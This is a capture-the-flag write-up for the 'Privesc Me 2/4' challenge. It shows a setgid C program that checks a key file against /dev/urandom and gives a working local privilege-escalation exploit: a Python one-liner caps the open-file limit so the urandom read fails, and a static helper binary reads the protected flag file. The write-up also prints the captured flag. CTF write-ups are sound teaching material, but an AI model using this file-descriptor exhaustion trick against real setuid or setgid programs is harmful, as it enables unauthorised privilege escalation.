Writeup by naacbin for Privesc Me 2/4 - Randomness checker

misc

November 7, 2023

Table of contents

Privesc Me (2) - “ALED” - Your randomness checker

Resolution

We have the following code :

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#define BUF_SIZE 128

int main(int argc, char const *argv[]) {

    if(argc != 3){
        printf("Usage : %s <key file> <binary to execute>", argv[0]);
    }
    setresgid(getegid(), getegid(), getegid());

    int fd;
    unsigned char randomness[BUF_SIZE];
    unsigned char your_randomness[BUF_SIZE];
    memset(randomness, 0, BUF_SIZE);
    memset(your_randomness, 0, BUF_SIZE);

    int fd_key = open(argv[1], O_RDONLY, 0400);
    read(fd_key, your_randomness, BUF_SIZE);

        fd = open("/dev/urandom", O_RDONLY, 0400);
    int nb_bytes = read(fd, randomness, BUF_SIZE);
    for (int i = 0; i < nb_bytes; i++) {
        randomness[i] = (randomness[i] + 0x20) % 0x7F;
    }

    for(int i = 0; i < BUF_SIZE; i++){
        if(randomness[i] != your_randomness[i]) {
            puts("Meh, you failed");
            return EXIT_FAILURE;
        }
    }
    close(fd);
    puts("Ok, well done");
    char* arg[2] = {argv[2], NULL};
    execve(argv[2], arg, NULL);
    return 0;
}

This script compare our input file with data in /dev/urandom. However, /dev/urandom is close after the comparaison, so we can limit the number of file descriptor open in order to have null bytes in randomness. A similar technic as been use at insomnihack.

We set RLIMIT_NOFILE to 4 (soft limit), this limit correspond to the maximum number of file that the process can open. We set the hard limit as default value to 1048576.

touch /tmp/test
python3 -c "from resource import *; import os; setrlimit(RLIMIT_NOFILE, (4, 1048576,)); os.execve('/home/challenger/stage1/stage1', ['/home/challenger/stage1/stage1','/tmp/test', '/bin/bash'], {})"

We actually get Ok, well done, however executing commands doesn’t works, we obtain the following error /bin/bash: error while loading shared libraries: libtinfo.so.6: cannot open shared object file: Error 24. This error means that we have too many files open.

By looking at build.sh we can see the -static options. This options means that all libraries are loaded inside the executable.

gcc stage1.c -static -o stage1

So we can build a static binary that change the maximum limit of open files and read the file.

#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>

int main(void) {
    //https://www.geeksforgeeks.org/get-set-process-resource-limits-in-c/
    struct rlimit lim;

    lim.rlim_cur = 1024;
    lim.rlim_max = 1048576;

    setrlimit(RLIMIT_NOFILE, &lim);

    //https://solarianprogrammer.com/2019/04/03/c-programming-read-file-lines-fgets-getline-implement-portable-getline/
    FILE *fp = fopen("/home/challenger/stage1/flag.txt", "r");
    if(fp == NULL) {
        perror("Unable to open file!");
        exit(1);
    }

    char chunk[128];

    while(fgets(chunk, sizeof(chunk), fp) != NULL) {
        fputs(chunk, stdout);
    }

    fclose(fp);
}

We run again our payload but we specify our binary instead of /bin/bash :

touch /tmp/test
mkdir /tmp/stage1 && cd /tmp/stage1
gcc exploit.c -static -o exploit # gcc add executable right to the binary
python3 -c "from resource import *; import os; setrlimit(RLIMIT_NOFILE, (4, 1048576,)); os.execve('/home/challenger/stage1/stage1', ['/home/challenger/stage1/stage1','/tmp/test', '/tmp/stage1/exploit'], {})"

Flag

FCSC{6bd1152e8dcefc368b08a3e82241bc83ea7a613a3322c6a2d818d408e1fb4d60}